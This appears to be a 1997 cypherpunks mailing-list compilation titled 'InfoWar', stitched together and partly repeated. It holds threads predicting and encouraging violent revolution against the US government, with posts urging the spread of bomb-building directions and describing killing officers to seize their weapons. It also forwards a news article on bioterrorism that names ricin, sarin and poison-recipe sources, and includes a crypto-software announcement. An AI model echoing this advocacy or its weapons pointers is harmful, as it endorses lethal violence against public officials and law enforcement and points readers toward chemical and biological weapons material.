Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Predilogue 
InfoWarriors


Predilogue


Prologue to 'WebWorld'

The great tragedy of it, is that it didn't have to
happen. Not at all...we were warned.
And yet, still, it has come to this.

I don't know why I feel this overwhelming compulsion
to go on and on about it. I could have done something. We all
could have done something.
Perhaps the final epitaph on the gravestone of Freedom
will be, 
"Why didn't somebody do something?" 

That seems to be the common battle-cry of the legions
of humanity that have been sucked into the vortex of the New
World Order.
None of the imprisoned seem to know that the very phrase itself
is reflective of the source of their imprisonment...that this
desperate cry of anguish is in no way an antidote for the terrible
disease that has afflicted 'Liberty and Justice', and that
it is, rather, merely the final symptom of the cursed blight itself.

I can hear the rumbling of the trucks as they come
up the street, and soon I will be hearing the thumping of the
jackboots storming up the staircase, as I have heard them so many
times before. But I suspect that this time, the sound will be
different, that it will have an ethereal quality about it, one
which conveys greater personal meaning than it did when I heard
it on previous occasions.
This time, they are coming for me.

My only hope, is that I can find the strength of
character somewhere inside myself to ask the question which lies
at the heart of why there is a 'they' to come for me at all...why,
in the end, it has finally come to this for me, as for countless
others.

The question is, in retrospect, as simple and basic
as it is essential for any who still espouse the concepts of freedom
and liberty to ask themselves upon finding themselves marveling
at the outrageousness being perpetrated upon their neighbors by
'them'...by 'others'...by 'Friends of the Destroyer.'

The question is: "Why didn't I
do something?"


"... however it may deserve respect for its usefulness
and antiquity, [predicting the end of the world] has not been
found agreeable to experience."

-Edward Gibbon, 'Decline and Fall of the Roman Empire'



InfoWarriors
- Alpha


Subject: What Will Revolution Look Like?
From: Tim May <tcmay@got.net>
To: cypherpunks@Algebra.COM

Some of the questions by Mark Rogaski and others ask about the
nature of the revolution I and others are predicting and encouraging.

What will a just revolution, like those anticipated by Jefferson,
Franklin, and others, look like?

The British thought the colonial rebels were "playing dirty"
by shooting from behind trees instead of marching in bright uniforms
with drums and bugles to herald their way.

Modern armies think freedom fighters are "terrorist scum"
for not fighting honestly and fairly in their own M-1 Abrams tanks
and aircraft carriers.

So, too, will revolutionaries be seen as fighting "unfairly"
and being unethical sneaks, child killers, and terrorists.
(As if children and other innocents did not die in various incidents
in past wars, on all sides.)

When Jefferson predicted that a revolution was needed every 20
years or so, he surely was not saying that throwing one party
out of leadership and putting the other party in was an example
of such a revolution, or that "campaign reform" is such
an example. Nor was he saying that the only valid revolution would
be when a bunch of citizens or states got together their own army
and marched on Washington.
(Actually, raising such an army is in violation of numerous laws
about heavy weapons, licenses to carry weapons, etc. No doubt
illegal. Ironically.)

No, the revolution, when it comes, will likely be different from
anything quite like we've seen to date.

--Tim May

The Feds have shown their hand: they want a ban
on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----

Timothy C. May | Crypto Anarchy: encryption, digital money,
ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information
markets,
Higher Power: 2^2,976,221 | black markets, collapse of governments.

"National borders aren't even speed bumps on the information
superhighway."


Subject: Re: What Will Revolution Look Like?
From: Blanc <blancw@cnw.com>
To: cypherpunks@Algebra.COM

Tim May wrote:
>No, the revolution, when it comes, will likely be different
from anything
>quite like we've seen to date.
....................................................

In the revolution against the British, the U.S. was a small colony
sitting on a vast "new" land, with the Natives but a
minor obstacle to expansion. Presently there is no such unoccupied
place which could be claimed for the cause of liberty, and revolutionaries
are sitting in the middle of the enemy camp, surrounded everywhere
by people who "just want to save lives".

You could temporarily send a political message and get your names
in the news, but then totally lose the war from being outnumbered
and overwhelmed by non-sympathizers. A long time ago it was possible,
given the distance of water and land between peoples, to make
a break with them physically. The enemy could be driven out, sent
"home", and the winners could develop their new living
arrangements in the new setting. 

But there is no new setting to go to, there is nowhere to send
the infidels. The life of a new libertarian "society"
would have to be created as a virtual one, existing among or in-between
the others. Of course the basis of the original setup is still
mentioned every once in a while, and so it is still in the minds
of everyone, even if only as a dim reference, so it could be said
that the most a current revolution could accomplish would be the
return of the original ideal to the minds of the population. But
I think that it would take much more than a few skirmishes to
accomplish that, as it doesn't appear that it carries all that
much support. It would be like getting a kid to take down some
medicine; many don't really want to live so independently, nor
feel the need to identify what kind of life would be the more
ideal (i.e. they don't identify precisely the difference between
a socialist atmosphere and a libertarian one, nor concern themselves
with why they should spend any time worrying about the difference
it makes.)

An intentional revolution, I fear, would just look like an attempt
to make people think. And therefore not taken too seriously. (And
if the revolutionaries lose? tough luck. Oh, well. )

..
Blanc


Subject: Re: What Will Revolution Look Like?
From: Adam Shostack <adam@homeport.org>
To: tcmay@got.net (Tim May)
CC: cypherpunks@toad.com

The distinction between civilians and soldiers, which came about
in the 17th and 18th centuries, is close to meaningless in the
context of a modern revolution. However, this distinction, and
the Clausewitzian claim that war is the continuation of politics
by other means, underlay the 'law of war.' 

War as the continuation of politics implies that the State sends
soldiers to war against other soldiers to fight for policy rights.
War to gain territory, war over insults or honor, religious war,
is seen as a thing of the past. Barbaric. Modern warriors can
not understand people who play by other rules. To some extent,
this has been good for us civilians. The firebombing of German
cities were an exception, not the rule.

However, as the anti-colonial movement demonstrated, a people
can effectively fight a modern army, and win. They are marked
as terrorists, defamed for their capitalist activities such as
drug smuggling to finance the struggle, and hanged when caught.

A modern revolution, as Mao taught, is based on forcing people
to decide if they are with you or against you. There are no neutrals
who simply want the status quo to continue, because once the revolutionaries
have started to do their job, the state lashes out, passing fascist
new laws (see Northern Ireland, Peru, the United States). The
status quo disappears, and the revolutionaries are committed.
It is only by making starkly clear who stands where that enough
people to fuel the revolution can have the manpower to succeed.
The alternative to the revolution becomes living under the government
that killed your family members. In Algeria, once the first few
thousands of martyrs died, every additional person the French
killed was a new reason to fight. Surrender, to the Algerians,
became inconceivable. Life as French was not worth living. So
they fought. 

When the revolution comes to the United States, it will not be
a pretty thing. Our best hope is for a rapid surrender of the
current government, which is not likely. By deploying now the
tools of communication (remailers, strong encryption, directions
for building bombs and traps, cheap radio transmitters), as well
as the tools for deception (how hard is it to build a fake GPS
transmitter?), and the understanding that the US government has
grown cancerous, we bring closer the beginning and the end of
the revolution.

We bring its start closer by forcing the Government to show its
true colors, turning more people against it. We bring its finish
closer by having ready the tools to render ineffective the large
fighting machines we have paid for, by making it clear that the
government does not have the support of the people, and by making
it clear that once committed, we will have to fight. 

So, Tim, we disagree that it will be like nothing seen before.
It will be like many modern revolutions, because we can't force
the government to fight on our terms today. 

20 years later, we will look back, and realize that governments
have murdered most of the innocents they will ever kill, because
will can deploy technology to make government voluntary. But we're
not there, and getting there may be bloody. 

There is, of course, Duncan's Berlin Wall theory, but I fear things
will have to get worse before they get better. 

Adam
--
"It is seldom that liberty of any kind is lost all at once."

-Hume


Subject: Re: What Will Revolution Look Like?
From: John Young <jya@pipeline.com>
To: cypherpunks@toad.com

Warmaking is ever changing in response to the last wins and losses.
However, winners are less likely to change than losers, for why
change a successful formula, publish it, or a well-spun dissimulation.

As ever, unknown forms of war are in gestation, being tested and
debriefed, in military institutions and wargames, in business,
in education, in the amorphous culture at large through legal
competition and crime and their variable gray areas where fair
and unfair, civilized rules and their breaking, are ever in grim
and vicious dispute. 

While there are piles of studies on organized and guerrilla wars
of the past, the most provocative are those that attempt to describe
what's coming, how to recognize its early warnings and what can
be done to head it off or, more likely, advance it. 

The highest warmaking art is winning without physical fighting,
to outfox the enemy by demoralizing, by demonstrating that attack
is futile, that there is no chance of defeating a superior force.
That's why military exhibitionism and psy war is reputed among
military and political leaders to be as vital as that of brute
force, as best exemplified by the Cold War 50-year stalemate and
psychological "win-win" to a status of Cool War.

To get a handle on what's in store, imagine that completely unbelievable
methods of warfare, overt and covert, are being concocted now,
composed of strategies, tactics, warfighters and armaments never
before used -- and will not be revealed and understood until too
late for defense. 

Try to forget everything you know about warfighting, crime fighting,
conflict resolution, rules of engagement, black operations, guerrilla
tactics, hiding among the people. Assume the enemy knows everything
you know and more, is better armed and smarter than you, has more
spies among your supporters and in your most intimate circle.

Imagine that your toilet, your bed, your fridge, your car, your
is triggered to explode by radio or your computer by your password.

Consider that there will be no time to reflect and reconsider
when things go catastrophically wrong and the enemy is unrelenting
attacking with inhuman viciousness, when you're defenses are crumbling
and weapons failing, when mates are squealing, dead or run away,
when you can't stop shitting yourself, when your legs are buckling,
when your minds racing out of control, when you're begging god
and mom for mercy and the upraised ax is descending, the barrel
back of head is firing. 

Remember that who the enemy is no secret to either side, on whichever
side you're on, and presume that the emery is more ready and able
to cook your goose than you are theirs. 

What actual war carnage teaches, what the current civil war in
the US is showing, is what the TV-sofa war does not: nobody wins,
ever, except the mindfuckers who've never gone berserk in combat
or in the jobplace, killed friend and foe to save own asses. 

You only win wars by never having to fight them, those started
by weakling cowards unable to steal, cheat and lie well enough
to satisfy their demonic lusts. 

Best to outsmart the enemy in war, work and love, so that what
you're up to is revealed only years later if ever. For the best
won wars are never known at the time, no parades, no medals, no
glory, no war stories, no memorial cemeteries and monuments, no
veteran hospitals filled with carrion, just peace and tranquillity
shooting deer, harpooning dolphins, rip-tearing the landscape
for profligate cowboy wargames riding homicidal freeways.

We're all gonna lose our civil war in market place killings and
road rage, thanks to today's warfighting lesson in free fire criminal
enterprise by those who've never been shot and shot and shot,
and lost for good -- the vainglorious winners, the losers desperate
to regain glory days. 


Subject: Re: Bell sentencing timed to coincide with raids
on militia members?
From: "Brian B. Riley" <brianbr@together.net>

To: "Tim May" <tcmay@got.net>, "CypherPunks
List" <cypherpunks@Algebra.COM>

On 10/31/97 3:01 PM, Tim May (tcmay@got.net) passed this wisdom:

>Get ready, folks. By the way, I'll be at the gun show at
the Cow Palace in
>San Francisco on the weekend of November 8-9, probably Saturday,
the 8th.
>Seems I'm running low on certain types of ammo, and I may
want to pick up a
>couple more assault rifles before Swinestein succeeds in completely
banning
>them.

I used to think that way ... but then I thought, why pay all that
money and walk the line of whatever Swinestein et al come up with.
Instead I have my deer rifles and a shotgun or two and ammo for
both. The way this all is working now, I have more combat experience
than 90% of the active duty military and most cops, and every
day goes by more and more are retiring. If it ever comes down
to that, I'll take down one or two of them with my deer rifle
and help myself to their weapons and ammo ... also kind of makes
sure I haven't set myself up to depend on an obsolete caliber
... if I am not good enough to take some of them down and take
their weapons, no 300 nor 30,000 rounds for my very own Armalite
is going to make any difference. 

Brian B. Riley --> http://www.macconnect.com/~brianbr

For PGP Keys <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

"Everyone who lives dies; but not everyone who dies has
lived"
-- No Fear


Subject: Re: What Will Revolution Look Like?
From: Jim Burnes <jim.burnes@ssds.com>
To: John Young <jya@pipeline.com>
CC: cypherpunks@toad.com

"To preserve [the] independence [of the people,] we must
not let our rulers load us with perpetual debt. We must make our
election between economy and liberty, or profusion and servitude.
If we run into such debts as that we must be taxed in our meat
and in our drink, in our necessaries and our comforts, in our
labors and our amusements, for our callings and our creeds, as
the people of England are, our people, like them, must come to
labor sixteen hours in the twenty-four, give the earnings of fifteen
of these to the government for their debts and daily expenses,
and the sixteenth being insufficient to afford us bread, we must
live, as they now do, on oatmeal and potatoes, have no time to
think, no means of calling the mismanagers to account, but be
glad to obtain subsistence by hiring ourselves to rivet their
chains on the necks of our fellow-sufferers." 

--Thomas Jefferson to Samuel Kercheval, 1816. 

jim


Subject: Re: FEMA site using cookies
From: Crisavec <dbrown@alaska.net>
To: cypherpunks@Algebra.COM

Attila T. Hun typethed the following...

>> The USMC 29 Palms Combat Arms Survey: 

>>"The U.S. government declares a ban on the possession,
sale,
>>transportation, and transfer of all non-sporting firearms

>>...consider the following statement: 
>>> I would fire upon U.S. citizens who refuse or 
>>> resist confiscation of firearms banned by the 
>>> U.S. government..." 
>
> they were looking for a yes/no answer --no maybes. if anybody
thinks
>this is a joke --it was not; it was given to most units at
29 Palms,
>Pendleton, LeJuene, and Paris Island. the percentage responses
were
>interesting: men with less than 5 years service were 90% "yes"
--grizzled
>old NCOMs with 15 or more years were less than 15% "yes."
shows what the
>federal government educational system is capable of conditioning
with a
>little help from movies and television. subliminally, was
has been
>glorified by the merchants of death: arms manufacturers and
power hungry
>politicians. -- 

This doesn't surprise me at all Attila. They don't teach the constitution
in
High School anymore. That accounts for the lower ranks. The NCOM's
answers
are to be expected, They STRESS Posse Commitais<sp?> and
the constitution
for ALL noncom's. It's part of the testing for promotion to E-5
and up.
Most of the noncom's have been in long enough to be thoroughly
disillusioned
by the military in general. The only thing keeping a lot of them
in is
inertia...

--Dave

Any neural system sufficiently complex to generate the axioms

of arithmetic is too complex to be understood by itself.
Kaekel's Conjecture


Subject: Fwd: psychoceramics: Fighting back against the Government

From: Alan Olsen <alan@clueserver.org>
To: cypherpunks@Algebra.COM

This is an interesting spin doctoring of Jim Bell's situation.
I picked this up off the psychoceramics list. Why it was there
is unclear...

Terrorism's next wave -- Nerve gas and germs are the new weapons
of choice
BY DAVID E. KAPLAN

Jeff Gordon thought he had seen it all. A veteran IRS investigator,
Gordon's job since 1988 had been to probe threats and assaults
against his fellow agents. There was no shortage in recent years--stabbings,
fires, mortar attacks, and big unexploded bombs outside IRS offices
in Los Angeles and Reno, Nevada. But in the first months of this
year, Gordon found himself working on the strangest case of his
career. From an informant, he had learned of a Portland, Ore.,
man named James Dalton Bell.
Bell owed some $30,000 in back taxes and served as a juror in
a local "common law court." Dozens of these self-appointed
tribunals have issued "fines" and even death sentences
against public officials. Bell was also active in antigovernment
forums on the Internet, where he had posted a dark scheme threatening
murder of troublesome federal agents. Participants could send
encrypted messages to each other, Bell proposed, offering donations
to whoever "predicted" how long a targeted official
would live. The winner, presumably the assassin, would be rewarded
with electronic fund transfers from anonymous donors, he suggested.
Gordon checked further. Bell, it turned out, was an electronics
engineer
at a nearby circuit board manufacturer. He was also an MIT-educated

chemist who had been arrested eight years earlier for making
methamphetamine,
but pleaded guilty to a lesser charge. According to
court records, Bell had once told a friend: "The first thing
to remember
is: Never make a chemist angry at you."
In February, the IRS docked Bell's wages and seized his 10-year-old
car. Inside the vehicle, Gordon found instructions for making bombs and molotov cocktails.
There was also far-right literature, a printout listing large
amounts of cyanide, and detailed information on fertilizer, a
key ingredient in the Oklahoma City bomb. But with no evidence
that Bell had hurt anyone, Gordon could not move. A burning stench.
Four weeks later, on a Monday morning in March, IRS officials
encountered a terrible nose-burning stench as they arrived at
their building in Vancouver, the Portland suburb where Bell lived.
Investigators traced the smell to a welcome mat dosed with propanethiol.
The chemical is used by utilities in minuscule concentrations
to give natural gas its noticeable smell. "It's Bell,"
Gordon told his boss. "I'm sure of it." Bell had attempted
twice to buy propanethiol from a chemical-supply company in Milwaukee,
Gordon then learned. Worried that the stink bomb was a trial run

for something much worse, on April 1, authorities raided Bell's
home. They seized five computers and three semiautomatic assault
rifles, then opened his garage door. Before them stood dozens
of containers filled with chemicals. There were volatile solvents,
explosives ingredients, sodium cyanide, nitric acid, and diisopropyl
fluorophosphate--one of several ingredients that, if properly
mixed, form nerve gas--all in a residential neighborhood. "The
level and type of chemicals were extremely unusual," said
Leroy Loiselle, who managed the cleanup for the Environmental
Protection Agency. "You don't need nitric acid to keep aphids
off your flowers." On Bell's computers, Gordon found two
other items: the names and home addresses of over 100 public officials--IRS
employees, FBI agents, local police officers--and a 169-page document,
The Terrorist's Handbook, with detailed instructions for making
chemical weapons and high explosives. Bell's friends told investigators
that he had tried using green beans to make botulin toxin, which
causes botulism, and that he claimed to have successfully made
sarin, the nerve gas used by Japanese cultists in their 1995 attack
on the Tokyo subway. 
Bell was arrested. In July he pleaded guilty to charges of obstruction
of IRS agents and use of a false Social Security number, and also
admitted to the stink bomb attack and the cyberassassination scheme.
He faces up to eight years in prison and $500,000 in fines. Bell
declined to comment, but he contended earlier that he is merely
"a chemical hobbyist" and the assassination scheme only
an abstract proposal. "I'm a talker, not a doer," he
said. The IRS's Jeff Gordon remains wary. According to court records,
after his arrest Bell boasted to a friend that police never found
his most dangerous chemical weapons. Gordon believes they could
include a secret stockpile of sarin. 

New generation. Characters like James Dalton Bell are giving federal
officials fits these days. Bell, they believe, is one of a new
generation of tinkerers and technicians, of college-educated extremists
threatening to use biological, chemical, or radiological weapons
to achieve their goals. Since the Aum
cult's Tokyo nerve gas attack, FBI officials say the number of
credible threats to use these weapons has jumped from a handful
in 1995, to 20 last year, to twice that number this year. Among
the incidents was the 1995 mailing of a videotape to Disneyland,
showing two hands mixing chemicals and a note threatening an attack
on the theme park. Despite a major investigation, the sender was
never caught. Just last April someone sent a petri dish labeled
anthrax, an animal disease deadly to humans, to the B'nai B'rith
headquarters in Washington, D.C. That proved to be a hoax.

But other threats appear to be quite real. Four militia members
in Minnesota were convicted recently of planning to assassinate
federal agents with a biological toxin. In Ohio in 1995, a white
supremacist pleaded guilty to wire fraud in illegally obtaining
three vials of bubonic plague bacteria. Investigators have found
biochemical agents in the hands of political extremists, extortionists,
murderers, and the mentally ill. U.S. News has learned that the
FBI has 50 current investigations of individuals suspected of
using or planning to use radiological, biological, or chemical
agents. Bureau officials say a major attack in the United States
no longer seems unlikely. "The consensus of people in the
law enforcement and intelligence communities is that it's not
a matter of if it's going to happen, it's when," warns Robert
Blitzer, head of the FBI's terrorism section. "We are very
concerned." 

To prepare, federal agencies have scrambled to set up new counterterrorism
strike forces (story, Page 32). Behind all this is the very real
fear that the world has entered a new stage in terrorism. Widespread
technical education and high-tech communications have vastly increased
the number of people with knowledge of how to synthesize chemicals
and culture bacteria. Books and videos on creating these substances--and
turning them into weapons--are now available on the Internet,
at gun shows and survivalist fairs, and through the mail. 

While its effects would be the most destructive, a nuclear incident
is actually the least likely scenario, according to security experts.
More likely, they say, would be a biological weapon attack; a
chemical attack is the next likely possibility. The impact could
range from the poisoning of an individual to sophisticated attempts
at mass murder. So far, the majority have been limited efforts
by loners or small groups. Most worrisome to officials is the
possible involvement of more established, state-sponsored terrorist
organizations--such as Hezbollah--with international reach. 

While the number of terrorist attacks, both in the United States
and abroad, has gone down since the end of the cold war, there
is a flip side. Individual acts themselves have grown more deadly,
as illustrated by the Oklahoma City and World Trade Center bombings.
In its annual terrorism report issued last April, the State Department
sees a trend "toward more ruthless attacks on mass civilian
targets" and the use of more powerful weapons. 

Threshold crossed. Until this decade, biological and chemical
weapons were the province of superpowers or renegade states like
Iraq and North Korea. But all that changed with Aum Supreme Truth,
an obscure sect of New Age fanatics based at the foot of Mount
Fuji, 70 miles outside Tokyo. Recent court testimony from sect
members shows how the cult's young scientists produced not only
anthrax and botulin toxin but also various nerve agents, including
the sarin used on Tokyo's subway. Later attacks were planned for
New York and Washington, D.C.

Still, it is one thing to produce deadly agents and another to
use them effectively. Aum's attack killed only 12 people of the
thousands in the subway system, and on seven other occasions,
attempted Aum attacks were dogged by equipment failures and human
error. "Trying to produce 100,000 casualties is much more
difficult than is often stated," observes Jonathan Tucker
of the Monterey Institute of International Studies. Tucker notes
that problems abound with delivery systems, meteorological conditions,
and the agents themselves. Still, he warns that even crude weapons
can easily cause mass disruption. Aum's nerve gas, for example,
was full of impurities, yet it sent thousands to the hospital.

What worries police is growing evidence that others share similar
ambitions. In 1993, two years before the Aum attack, Canadian
border agents stopped an American electrician named Thomas Lavy
and searched his car. They found four guns, 20,000 rounds of ammunition,
13 pounds of gunpowder, neo-Nazi literature,
and $80,000 in cash. Lavy also had recipes for biological and
chemical weapons and a plastic bag filled with white powder. Had
the agents opened the bag, they likely would have died of respiratory
failure and paralysis. Tests showed the substance to be ricin,
a lethal toxin extracted from the castor bean plant.
(Ricin, dabbed on a tiny pellet fired from an umbrella-gun, was
used by Soviet agents to murder a Bulgarian in London in 1978.)
The poison is 6,000 times more toxic than cyanide, and there is
no antidote. Lavy had a quarter pound of the stuff. 

In 1995, a man named Larry Wayne Harris was arrested after he
obtained vials of the bacteria that cause bubonic plague (Page
28). Harris is an Ohio microbiologist and recent member of the
white supremacist Aryan Nations. He says his friends will strike
at government officials with biochemical weapons, if provoked.
"If they arrest a bunch of our guys, they get a test tube
in the mail," he told U.S. News. And, he says, far worse
could come. "How many cities are you willing to lose before
you back off?" he asks. "At what point do you say: `If
these guys want to go off to the Northwest and have five states
declared to be their own free and independent country, let them
do it'?" Authorities take Harris's comments seriously. 

The recipes for such poison cocktails are available from underground
publishers and on the Internet. One popularizer is an Arkansan
named Kurt Saxon. Through
books and videotapes, Saxon has been putting out ricin recipes
for at least nine years. Convinced that the U.S. will be invaded
and that the federal government can't be trusted to defend the
country, he has fashioned various homemade explosives and poisons,
including cyanide grenades and ricin applicators. In one segment
of a $19.95 video, Saxon performs like a sinister Julia Child,
blending salt water and solvents with castor beans.
("Pour in about 4 ounces of acetone," he says, "and
shake it up nice.") "Uncle Fester,"
another near-legendary figure in the chem-bio underground, has
authored such family classics as Silent Death, Improvised Explosives,
and a guide to methamphetamine and LSD manufacture.
Fester claims degrees in chemistry and biology, and his Silent
Death describes how to produce poison gas, botulin and shellfish
toxins, and ricin.

Similarly, entire manuals for making homemade explosives--TNT,
plastic, napalm--can be downloaded from the Net, as well as plans
for building triggers, fuses, and timers. At least 11 online vendors
offer books with recipes on biological or chemical weapons, including
Silent Death and Kurt Saxon's The Poor Man's James Bond. All are
based in the United States. Adding to the problem, many of the
chemicals used to make nerve gas
and other agents have perfectly legitimate uses and are readily
available. "The genie has always been out of the bottle,"
says one intelligence analyst. "People are just discovering
it."

The genie is also loose in the Middle East. According to intelligence
sources, notebooks and computer files recently seized from Hezbollah,
the Iranian-backed Islamic militia,
contain information on how to produce chemical agents. Hezbollah
has also taken delivery of protective gear, including gas masks
and bodysuits, and obtained Katyusha rockets able to deliver chemical
warheads to Israel from their base in Lebanon. Hezbollah's interests
are shared by at least one other Islamic terrorist, Ramzi Yusef,
a trained engineer and reputed mastermind of the 1993 World Trade
Center bombing. Yusef's organization researched making sarin and
reportedly planned to assassinate President Clinton in the Philippines
with phosgene gas. The trade center bombers also packed cyanide
into the charge that rocked the building; the chemical apparently
evaporated in the explosion. 

Some analysts believe there have been other, unnoticed, attacks
in the United States. "It's almost certain there have been
uses of biological agents that have gone undetected," says
Seth Carus, a proliferation expert at the National Defense University.
"Most cases are known because they came to the attention
of law enforcement through informants, not because of medical
authorities." Health officials, for example, were mystified
by a mass outbreak of salmonella poisoning in Oregon in 1984.
The cause--an attack by a nearby religious sect--went undetected
until the cult's demise a year later. 

Exotic poisons are attracting not only terrorists
but also murderers
and extortionists.
Several recent trials have featured ricin as a murder weapon.
Product tamperers, too, are increasingly turning to biological
agents. Says Lori Ericson of Kroll Information Services: "We're
seeing E. coli, cholera, salmonella, HIV." In one British
case, microbiologist Michael Just threatened to contaminate the
products of five food companies with dysentery-causing bacteria.
To make his point, he sent the firms test tubes filled with the
pathogen. 

Society can likely tolerate the occasional murderer or extortionist
wielding biological or chemical weapons. The greater challenge
undoubtedly will come from those with broader grievances, from
terrorists steeped in extremism and political hatred.
Perhaps scariest of all are the criminally insane,
who may bring technical ability, but little judgment, to their
homemade laboratories. Last April, authorities raided the house
of one Thomas Leahy in Janesville, Wis. Leahy, who takes medication
for schizophrenia, was obsessed with creating "killer viruses"
to stop his enemies, both real and imagined, according to police.
He pleaded guilty to possessing ricin, but a search of his home
also found animal viruses and vaccines, staph bacteria culture,
fungicides, insecticides, hypodermic needles, and gas masks. As
Leahy reportedly told his wife, you can "never have too many
poisons." With Douglas Pasternak and Gordon Witkin

***********************************************************************

BIOWAR-L
Biowar/Bioterrorism/Toxins
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---
| "That'll make it hot for them!" - Guy Grand |
|"The moral PGP
Diffie taught Zimmermann unites all| Disclaimer: |
| mankind free in one-key-steganography-privacy!" | Ignore
the man |
|`finger -l alano@teleport.com` for PGP 2.6.2 key | behind the
keyboard.|
| http://www.ctrl-alt-del.com/~alan/
|alan@ctrl-alt-del.com|


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BSAFE International <bsafeeay@cypherpunks.to>
Date: Sat, 15 Nov 1997 15:15:35 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <Pine.BSF.3.96.971116023658.410D-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

BSAFEeay alpha 1 is now available! 

BSAFEeay, also known as BSAFE International, is a public domain 
implementation of the BSAFE API, implemented outside the US and 
based on public domain source code which uses BSAFE, such as SETref.

BSAFEeay currently implements enough of the BSAFE API to support
SETref, with more support coming soon. Combined with SETref, BSAFEeay
enables the first entirely public domain SET implementation.

For more information and to download, visit:

        https://www.cypherpunks.to/

BSAFEeay is NOT a product of RSA Data Security, Inc. and you still
must license RSA in the US.

- --
BSAFE International <bsafeeay@cypherpunks.to>
https://www.cypherpunks.to/



-----BEGIN PGP SIGNATURE-----
Version: PGP 5.0i
Charset: noconv

iQCVAwUBNG6bj5M0Bmsl+tm9AQFZuwP/SiLg3ZB6RbZ/+I6Wl8+luIP5fiYgS1Yv
ItxyZQ+EHxV5Ud6fSC2PEf2hw2vWo/S77AMSp5jf1I8xCWk6hcfyI/c/5kS3vKzo
hmns6B6y2puzfwmtLltuzhgoldxkmh1aFsRnzymuH1NT+jpPjvmCTIVX+7kDAJYR
SBfAK0ZO3Zs=
=X7Yl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 16 Nov 1997 22:19:42 +0800
To: cypherpunks@toad.com
Subject: InfoWarriors - Alpha / TEXT
Message-ID: <346EFE30.5731@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Predilogue
   * InfoWarriors

----------------------------------------------------------------------------

                                 Predilogue
----------------------------------------------------------------------------

                           Prologue to 'WebWorld'

The great tragedy of it, is that it didn't have to happen. Not at all...we
were warned.
And yet, still, it has come to this.

I don't know why I feel this overwhelming compulsion to go on and on about
it. I could have done something. We all could have done something.
Perhaps the final epitaph on the gravestone of Freedom will be,
"Why didn't somebody do something?"

That seems to be the common battle-cry of the legions of humanity that have
been sucked into the vortex of the New World Order.
None of the imprisoned seem to know that the very phrase itself is
reflective of the source of their imprisonment...that this desperate cry of
anguish is in no way an antidote for the terrible disease that has afflicted
'Liberty and Justice', and that it is, rather, merely the final symptom of
the cursed blight itself.

I can hear the rumbling of the trucks as they come up the street, and soon I
will be hearing the thumping of the jackboots storming up the staircase, as
I have heard them so many times before. But I suspect that this time, the
sound will be different, that it will have an ethereal quality about it, one
which conveys greater personal meaning than it did when I heard it on
previous occasions.
This time, they are coming for me.

My only hope, is that I can find the strength of character somewhere inside
myself to ask the question which lies at the heart of why there is a 'they'
to come for me at all...why, in the end, it has finally come to this for me,
as for countless others.

The question is, in retrospect, as simple and basic as it is essential for
any who still espouse the concepts of freedom and liberty to ask themselves
upon finding themselves marveling at the outrageousness being perpetrated
upon their neighbors by 'them'...by 'others'...by 'Friends of the
Destroyer.'

                The question is: "Why didn't I do something?"
----------------------------------------------------------------------------

"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience."

-Edward Gibbon, 'Decline and Fall of the Roman Empire'
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                            InfoWarriors - Alpha

Subject: What Will Revolution Look Like?
From: Tim May <tcmay@got.net>
To: cypherpunks@Algebra.COM

Some of the questions by Mark Rogaski and others ask about the nature of the
revolution I and others are predicting and encouraging.

What will a just revolution, like those anticipated by Jefferson, Franklin,
and others, look like?

The British thought the colonial rebels were "playing dirty" by shooting
from behind trees instead of marching in bright uniforms with drums and
bugles to herald their way.

Modern armies think freedom fighters are "terrorist scum" for not fighting
honestly and fairly in their own M-1 Abrams tanks and aircraft carriers.

So, too, will revolutionaries be seen as fighting "unfairly" and being
unethical sneaks, child killers, and terrorists.
(As if children and other innocents did not die in various incidents in past
wars, on all sides.)

When Jefferson predicted that a revolution was needed every 20 years or so,
he surely was not saying that throwing one party out of leadership and
putting the other party in was an example of such a revolution, or that
"campaign reform" is such an example. Nor was he saying that the only valid
revolution would be when a bunch of citizens or states got together their
own army and marched on Washington.
(Actually, raising such an army is in violation of numerous laws about heavy
weapons, licenses to carry weapons, etc. No doubt illegal. Ironically.)

No, the revolution, when it comes, will likely be different from anything
quite like we've seen to date.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May | Crypto Anarchy: encryption, digital money,
ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets,
Higher Power: 2^2,976,221 | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."
----------------------------------------------------------------------------

Subject: Re: What Will Revolution Look Like?
From: Blanc <blancw@cnw.com>
To: cypherpunks@Algebra.COM

Tim May wrote:
>No, the revolution, when it comes, will likely be different from anything
>quite like we've seen to date.
....................................................

In the revolution against the British, the U.S. was a small colony sitting
on a vast "new" land, with the Natives but a minor obstacle to expansion.
Presently there is no such unoccupied place which could be claimed for the
cause of liberty, and revolutionaries are sitting in the middle of the enemy
camp, surrounded everywhere by people who "just want to save lives".

You could temporarily send a political message and get your names in the
news, but then totally lose the war from being outnumbered and overwhelmed
